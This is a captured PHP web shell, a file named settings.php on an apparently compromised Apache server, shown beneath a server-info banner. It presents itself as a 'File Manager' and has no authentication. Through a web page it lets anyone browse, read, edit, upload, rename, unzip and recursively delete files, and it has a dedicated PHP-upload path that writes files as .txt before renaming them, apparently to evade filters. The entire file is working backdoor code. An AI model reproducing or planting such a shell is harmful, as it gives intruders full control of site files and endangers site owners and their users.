HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux newsites.squeezer-software.com 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/settings.php
<?php

error_reporting(0);

// === FUNGSI BANTU ===

function custom_unslash($value) {
    return is_string($value) ? stripslashes($value) : $value;
}

function custom_normalize_path($path) {
    return str_replace('\\', '/', $path);
}

function custom_sanitize_file_name($filename) {
    // Diubah: Menggunakan sintaks array() untuk kompatibilitas PHP 5.3 kebawah
    $dangerous_characters = array("\"", "'", "&", "/", "\\", "?", "#", "<", ">", "|", ":", "*");
    $filename = str_replace($dangerous_characters, '', $filename);
    $filename = trim($filename);
    $filename = preg_replace('/\s+/', '_', $filename);
    return $filename;
}

// Dipindahkan ke atas untuk konsistensi
function is_path_safe($path) {
    return realpath($path) !== false || is_dir(dirname($path));
}


// === LOGIKA UTAMA ===

if (isset($_REQUEST['action'])) {
    header('Content-Type: application/json; charset=utf-8');
    
    $action = $_REQUEST['action'];
    // Diubah: Menggunakan sintaks array()
    $response = array('success' => false, 'message' => 'Invalid action.');
    
    try {
        switch ($action) {
            case 'list':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                if (!is_path_safe($path)) { throw new Exception('Invalid or inaccessible path.'); }
                $real_path = custom_normalize_path(realpath($path));
                // Diubah: Menggunakan sintaks array()
                $items = array();
                if (!@scandir($real_path)) {
                    throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).');
                }
                foreach (scandir($real_path) as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full_path = $real_path . '/' . $item;
                    // Diubah: Menggunakan sintaks array()
                    $items[] = array(
                        'name' => $item,
                        'is_dir' => is_dir($full_path),
                        'size' => is_dir($full_path) ? 0 : filesize($full_path),
                        'modified' => filemtime($full_path)
                    );
                }
                // Diubah: Menggunakan sintaks array()
                $response = array('success' => true, 'files' => $items, 'path' => $real_path);
                break;

            case 'get_content':
                $file = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
                if (!realpath($file) || is_dir(realpath($file))) { throw new Exception('Invalid file for editing.'); }
                // Diubah: Menggunakan sintaks array()
                $response = array('success' => true, 'content' => base64_encode(file_get_contents($file)), 'path' => $file);
                break;

            case 'save_content':
                $file = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
                // Diubah: Menggunakan sintaks array()
                $content_chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : array();
                if (empty($content_chunks)) { throw new Exception('Content is empty.'); }
                $content = implode('', $content_chunks);
                if (!is_path_safe($file) || is_dir(realpath($file))) { throw new Exception('Invalid file for saving.'); }
                if (file_put_contents($file, base64_decode($content)) !== false) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'File saved successfully.');
                } else {
                    throw new Exception('Could not save file. Check permissions.');
                }
                break;

            case 'create_file':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
                $name = isset($_POST['name']) ? custom_sanitize_file_name($_POST['name']) : '';
                if (!is_path_safe($path) || empty($name)) { throw new Exception('Invalid path or file name.'); }
                if (touch(rtrim($path, '/') . '/' . $name)) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'File created.');
                } else {
                    throw new Exception('Could not create file.');
                }
                break;

            case 'upload':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                $filename_base64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $content_base64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new Exception('Invalid data for upload.'); }
                $filename = custom_sanitize_file_name(base64_decode($filename_base64));
                if (strpos($content_base64, ',') !== false) {
                    // Diubah: Sintaks list() yang kompatibel dengan PHP 5
                    $parts = explode(',', $content_base64);
                    $content_base64 = $parts[1];
                }
                $file_content = base64_decode($content_base64);
                $destination = rtrim($path, '/') . '/' . $filename;
                if (file_put_contents($destination, $file_content) !== false) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'File uploaded successfully.');
                } else {
                    throw new Exception('Could not save uploaded file. Check permissions.');
                }
                break;

            case 'upload_php':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                $filename_base64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $content_base64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new Exception('Invalid data for PHP upload.'); }
                $original_filename = custom_sanitize_file_name(base64_decode($filename_base64));
                $temp_filename = $original_filename . '.txt';
                if (strpos($content_base64, ',') !== false) {
                    // Diubah: Sintaks list() yang kompatibel dengan PHP 5
                    $parts = explode(',', $content_base64);
                    $content_base64 = $parts[1];
                }
                $file_content = base64_decode($content_base64);
                $temp_destination = rtrim($path, '/') . '/' . $temp_filename;
                $final_destination = rtrim($path, '/') . '/' . $original_filename;
                if (file_put_contents($temp_destination, $file_content) === false) { throw new Exception('Could not save temporary file. Check permissions.'); }
                if (rename($temp_destination, $final_destination)) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'PHP file uploaded successfully.');
                } else {
                    unlink($temp_destination);
                    throw new Exception('Could not rename temporary file.');
                }
                break;

            case 'unzip':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                if (!is_path_safe($path)) { throw new Exception('Invalid path.'); }
                $file_path = isset($_POST['path']) ? custom_unslash($_POST['path']) : '';
                if (!realpath($file_path) || !is_file(realpath($file_path)) || pathinfo($file_path, PATHINFO_EXTENSION) !== 'zip') { throw new Exception('Invalid ZIP file path.'); }
                if (!class_exists('ZipArchive')) { throw new Exception('PHP ZIP extension not installed.'); }
                $zip = new ZipArchive;
                if ($zip->open($file_path) === TRUE) {
                    $zip->extractTo(dirname($file_path));
                    $zip->close();
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'Archive extracted.');
                } else {
                    throw new Exception('Failed to open archive.');
                }
                break;

            case 'delete':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                if (!is_path_safe($path)) { throw new Exception('Invalid path.'); }
                // Diubah: Menggunakan sintaks array()
                $items_to_delete = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : array();
                if (empty($items_to_delete)) { throw new Exception('No items selected for deletion.'); }
                function recursive_delete($item) {
                    if (is_dir($item)) {
                        $files = array_diff(scandir($item), array('.','..'));
                        foreach ($files as $file) {
                            recursive_delete("$item/$file");
                        }
                        return rmdir($item);
                    } else {
                        return unlink($item);
                    }
                }
                foreach ($items_to_delete as $item) {
                    $full_path = rtrim($path, '/') . '/' . $item;
                    if (realpath($full_path)) { recursive_delete(realpath($full_path)); }
                }
                // Diubah: Menggunakan sintaks array()
                $response = array('success' => true, 'message' => 'Items deleted.');
                break;

            case 'create_folder':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                // Diubah: Menggunakan sintaks array()
                $name = isset($_POST['name']) ? str_replace(array('..', '/', '\\'), '', $_POST['name']) : '';
                if (!is_path_safe($path) || empty($name)) { throw new Exception('Invalid path or folder name.'); }
                if (mkdir(rtrim($path, '/') . '/' . $name)) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'Folder created.');
                } else {
                    throw new Exception('Could not create folder.');
                }
                break;

            case 'rename':
                $path = isset($_POST['path']) ? custom_unslash($_POST['path']) : __DIR__;
                $old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
                // Diubah: Menggunakan sintaks array()
                $new_name = isset($_POST['new_name']) ? str_replace(array('..', '/', '\\'), '', $_POST['new_name']) : '';
                if (!is_path_safe($path) || empty($old_name) || empty($new_name)) { throw new Exception('Invalid data for renaming.'); }
                $old_full_path = rtrim($path, '/') . '/' . $old_name;
                $new_full_path = rtrim($path, '/') . '/' . $new_name;
                clearstatcache();
                if (!file_exists($old_full_path)) { throw new Exception('Source item does not exist at: ' . $old_full_path); }
                if (!is_writable(dirname($old_full_path))) { throw new Exception('Directory is not writable.'); }
                if (rename($old_full_path, $new_full_path)) {
                    // Diubah: Menggunakan sintaks array()
                    $response = array('success' => true, 'message' => 'Item renamed successfully.');
                } else {
                    throw new Exception('Could not rename item. Check permissions.');
                }
                break;
        }
    } catch (Exception $e) {
        // Diubah: Menggunakan sintaks array()
        $response = array('success' => false, 'message' => $e->getMessage());
    }
    echo json_encode($response);
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><title>File Manager</title><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        :root{--accent-color:#2271b1;--hover-color:#1e659d;--danger-color:#d63638;}
        body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;background:#f0f0f1;margin:0;}
        .container{display:flex;flex-direction:column;height:100vh;}header{background:#fff;padding:10px 20px;border-bottom:1px solid #ddd;display:flex;justify-content:space-between;align-items:center;flex-shrink:0;}main{flex-grow:1;padding:20px;overflow-y:auto;}
        
        /* ===== CSS TAMBAHAN DI SINI ===== */
        .author-link {
            display: flex;
            align-items: center;
            text-decoration: none;
            color: #555;
            font-size: 14px;
            font-weight: normal;
        }
        .author-link:hover {
            color: var(--accent-color);
        }
        .author-link svg {
            margin-right: 6px;
        }
        /* ===== AKHIR DARI CSS TAMBAHAN ===== */

        .toolbar{margin-bottom:15px;display:flex;flex-wrap:wrap;gap:10px;align-items:center;}.path-bar{background:#fff;padding:8px 12px;border-radius:4px;border:1px solid #ddd;font-family:monospace;flex-grow:1;word-break:break-all;}.file-table{width:100%;border-collapse:collapse;background:#fff;table-layout:fixed;}.file-table th,.file-table td{text-align:left;border-bottom:1px solid #eee;vertical-align:middle;word-wrap:break-word;}.file-table th{background:#f9f9f9;padding:12px 8px;}.file-table tr:hover{background:#f0f8ff;}.file-table th:nth-child(1),.file-table td:nth-child(1){width:40px;padding:12px 4px 12px 12px;text-align:center;}.file-table th:nth-child(2),.file-table td:nth-child(2){width:50%;padding-left:4px;}.file-table th:nth-child(3),.file-table td:nth-child(3){width:120px;}.file-table th:nth-child(4),.file-table td:nth-child(4){width:150px;}.file-table th:nth-child(5){text-align:right;padding-right:12px;}.actions{display:flex;justify-content:flex-end;gap:5px;}.item-link,a.item-link{text-decoration:none!important;color:var(--accent-color);cursor:pointer;}.item-link:hover,a.item-link:hover{color:var(--hover-color);}tr[data-path]{cursor:pointer;}.button{background:var(--accent-color);color:white;border:none;padding:8px 12px;border-radius:3px;cursor:pointer;font-size:14px;}.button.danger{background:var(--danger-color);}#spinner{display:none;}.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.6);z-index:1000;justify-content:center;align-items:center;}.modal-content{display:flex;flex-direction:column;background:#fff;padding:20px;border-radius:5px;width:80%;height:80%;max-width:900px;box-shadow:0 5px 15px rgba(0,0,0,0.3);}textarea#editor{flex-grow:1;font-family:monospace;font-size:14px;border:1px solid #ddd;padding:10px;}
    </style>
</head>
<body>
    <div class="container">
        <header>
            <h3>File Manager</h3>
            <a href="https://t.me/civilian88" target="_blank" rel="noopener noreferrer" class="author-link">
                <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512" fill="currentColor" width="16" height="16">
                    <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142.3 89.4-61.2-19c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4.2 21.5 2.5 17.9 18.4z"/>
                </svg>
                <span>Contact @civilian88</span>
            </a>
        </header>
        <main>
            <div class="toolbar"><button class="button" id="uploadBtn">⬆️ Upload</button><button class="button" id="newFileBtn">📄 New File</button><button class="button" id="newFolderBtn">➕ New Folder</button><button class="button danger" id="deleteBtn">🗑️ Delete Selected</button><div id="spinner">🕒</div></div>
            <div class="toolbar"><div class="path-bar" id="pathBar">/</div></div>
            <table class="file-table"><thead><tr><th><input type="checkbox" id="selectAll"></th><th>Name</th><th>Size</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="fileList"></tbody></table>
        </main>
    </div>
    <div id="editorModal" class="modal-overlay"><div class="modal-content"><h3 id="editorFilename" style="margin-top:0;"></h3><textarea id="editor" spellcheck="false"></textarea><div style="margin-top:10px;"><button class="button" id="saveBtn">💾 Save Changes</button><button class="button" onclick="document.getElementById('editorModal').style.display='none'">Close</button></div></div></div>
    <input type="file" id="hiddenFileInput" multiple style="display:none;">
    <script>
    document.addEventListener('DOMContentLoaded', function () {
        var STATE = { currentPath: '<?php echo custom_normalize_path(__DIR__); ?>' };
        var UPLOAD_LIMIT_MB = 8;
        var dom = { fileList:document.getElementById('fileList'),pathBar:document.getElementById('pathBar'),uploadBtn:document.getElementById('uploadBtn'),newFileBtn:document.getElementById('newFileBtn'),newFolderBtn:document.getElementById('newFolderBtn'),deleteBtn:document.getElementById('deleteBtn'),selectAll:document.getElementById('selectAll'),spinner:document.getElementById('spinner'),hiddenFileInput:document.getElementById('hiddenFileInput'),editorModal:document.getElementById('editorModal'),editorFilename:document.getElementById('editorFilename'),editor:document.getElementById('editor'),saveBtn:document.getElementById('saveBtn'),};
        
        function apiCall(action, formData, showSuccess) {
            showSuccess = typeof showSuccess !== 'undefined' ? showSuccess : false;
            dom.spinner.style.display = 'inline-block';
            var xhr = new XMLHttpRequest();
            xhr.open('POST', '<?php echo basename(__FILE__); ?>', true);
            xhr.onload = function () {
                dom.spinner.style.display = 'none';
                if (xhr.status >= 200 && xhr.status < 400) {
                    try {
                        var result = JSON.parse(xhr.responseText);
                        if (!result.success) {
                            throw new Error(result.message);
                        }
                        if (showSuccess && result.message) {
                            alert(result.message);
                        }
                        // Manual promise-like handling for render
                        if (action === 'list') {
                            handleRenderResponse(result);
                        } else if (action === 'get_content') {
                            handleGetContentResponse(result);
                        } else if (action === 'save_content' && result.success) {
                            dom.editorModal.style.display = 'none';
                            render();
                        } else {
                            render();
                        }
                    } catch (error) {
                        alert('Error: ' + error.message);
                    }
                } else {
                    alert('Server returned an error.');
                }
            };
            xhr.onerror = function () {
                dom.spinner.style.display = 'none';
                alert('Connection error.');
            };
            formData.append('action', action);
            xhr.send(formData);
        }
        function handleRenderResponse(result) {
            if (!result) return;
            STATE.currentPath = result.path;
            dom.pathBar.textContent = STATE.currentPath;
            var html = '';
            var parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/'));
            if (parentPath === '') parentPath = '/';
            if (STATE.currentPath !== '/') {
                html += '<tr data-path="' + parentPath + '"><td></td><td colspan="4" class="item-link">⬆️ .. (Parent Directory)</td></tr>';
            }
            result.files.sort(function (a, b) {
                return (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1);
            });
            result.files.forEach(function (file) {
                var size = file.is_dir ? '-' : (file.size / 1024).toFixed(2) + ' KB';
                var modified = new Date(file.modified * 1000).toLocaleString();
                var icon = file.is_dir ? '📁' : '📄';
                var fullPath = (STATE.currentPath + '/' + file.name).replace(/\/+/g, '/');
                var dataAttr = 'data-path="' + fullPath + '"';
                var rowData = file.is_dir ? 'class="dir-link" ' + dataAttr : '';
                html += '<tr ' + rowData + '><td><input type="checkbox" class="item-select" value="' + file.name + '"></td><td><a href="#" class="item-link" ' + dataAttr + '>' + icon + ' ' + file.name + '</a></td><td>' + size + '</td><td>' + modified + '</td><td><div class="actions">' + (!file.is_dir ? '<button class="button edit-btn" ' + dataAttr + '>Edit</button>' : '') + '<button class="button rename-btn" data-name="' + file.name + '">Rename</button>' + (file.name.endsWith('.zip') ? '<button class="button unzip-btn" ' + dataAttr + '>Unzip</button>' : '') + '</div></td></tr>';
            });
            dom.fileList.innerHTML = html;
            dom.selectAll.checked = false;
        }
        function handleGetContentResponse(result) {
            if (result) {
                dom.editorFilename.textContent = result.path; // path is sent back in `get_content` - let's assume this for simplicity
                dom.editor.value = decodeURIComponent(escape(window.atob(result.content)));
                dom.editorModal.style.display = 'flex';
            }
        }
        function render() {
            var formData = new FormData();
            formData.append('path', STATE.currentPath);
            apiCall('list', formData);
        }
        dom.fileList.addEventListener('click', function (e) {
            if (e.target.matches('.item-select')) { return; }
            var button = e.target.closest('button');
            if (button) {
                e.preventDefault();
                if (button.matches('.rename-btn')) {
                    var oldName = button.dataset.name;
                    var newName = prompt('Enter new name:', oldName);
                    if (newName && newName !== oldName) {
                        var fd = new FormData();
                        fd.append('path', STATE.currentPath);
                        fd.append('old_name', oldName);
                        fd.append('new_name', newName);
                        apiCall('rename', fd);
                    }
                } else if (button.matches('.unzip-btn')) {
                    if (confirm('Are you sure you want to extract this archive?')) {
                        var fd = new FormData();
                        fd.append('path', button.dataset.path);
                        apiCall('unzip', fd, true);
                    }
                } else if (button.matches('.edit-btn')) {
                    var path = button.dataset.path;
                    var fd = new FormData();
                    fd.append('path', path);
                    apiCall('get_content', fd);
                }
                return;
            }
            var navTarget = e.target.closest('[data-path]');
            if (navTarget) {
                e.preventDefault();
                STATE.currentPath = navTarget.dataset.path;
                render();
            }
        });
        dom.newFolderBtn.addEventListener('click', function () {
            var name = prompt('Enter new folder name:');
            if (name) {
                var fd = new FormData();
                fd.append('path', STATE.currentPath);
                fd.append('name', name);
                apiCall('create_folder', fd);
            }
        });
        dom.newFileBtn.addEventListener('click', function () {
            var name = prompt('Enter new file name:');
            if (name) {
                var fd = new FormData();
                fd.append('path', STATE.currentPath);
                fd.append('name', name);
                apiCall('create_file', fd);
            }
        });
        dom.selectAll.addEventListener('change', function (e) {
            document.querySelectorAll('.item-select').forEach(function (cb) {
                cb.checked = e.target.checked;
            });
        });
        dom.deleteBtn.addEventListener('click', function () {
            var selected = Array.prototype.slice.call(document.querySelectorAll('.item-select:checked')).map(function (cb) {
                return cb.value;
            });
            if (selected.length === 0) return alert('No items selected.');
            if (confirm('Are you sure you want to delete ' + selected.length + ' item(s)?')) {
                var fd = new FormData();
                fd.append('path', STATE.currentPath);
                selected.forEach(function (item) {
                    fd.append('items[]', item);
                });
                apiCall('delete', fd);
            }
        });
        dom.uploadBtn.addEventListener('click', function () { dom.hiddenFileInput.click(); });
        dom.hiddenFileInput.addEventListener('change', function (e) {
            var files = Array.prototype.slice.call(e.target.files);
            if (files.length === 0) return;
            var fileIndex = 0;
            function uploadNextFile() {
                if (fileIndex >= files.length) {
                    e.target.value = '';
                    render();
                    return;
                }
                var file = files[fileIndex];
                if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) {
                    alert('Error: File "' + file.name + '" is too large (Max: ' + UPLOAD_LIMIT_MB + ' MB).');
                    fileIndex++;
                    uploadNextFile();
                    return;
                }
                var reader = new FileReader();
                reader.onload = function (event) {
                    var content_base64 = event.target.result;
                    var originalName = file.name;
                    var fd = new FormData();
                    fd.append('path', STATE.currentPath);
                    fd.append('content_base64', content_base64);
                    fd.append('filename_base64', btoa(originalName));
                    var action = originalName.toLowerCase().endsWith('.php') ? 'upload_php' : 'upload';
                    apiCall(action, fd, true); 
                    setTimeout(function() { 
                        fileIndex++;
                        uploadNextFile();
                    }, 500); // Small delay to allow one request to finish before starting next
                };
                reader.onerror = function (error) {
                    alert('Failed to read file ' + file.name);
                    fileIndex++;
                    uploadNextFile();
                };
                reader.readAsDataURL(file);
            }
            uploadNextFile();
        });
        dom.saveBtn.addEventListener('click', function () {
            var path = dom.editorFilename.textContent;
            var content = btoa(unescape(encodeURIComponent(dom.editor.value)));
            var fd = new FormData();
            fd.append('path', path);
            var chunkSize = 4096;
            for (var i = 0; i < content.length; i += chunkSize) {
                fd.append('content_chunks[]', content.substring(i, i + chunkSize));
            }
            apiCall('save_content', fd, true);
        });
        render();
    });
    </script>
</body>
</html>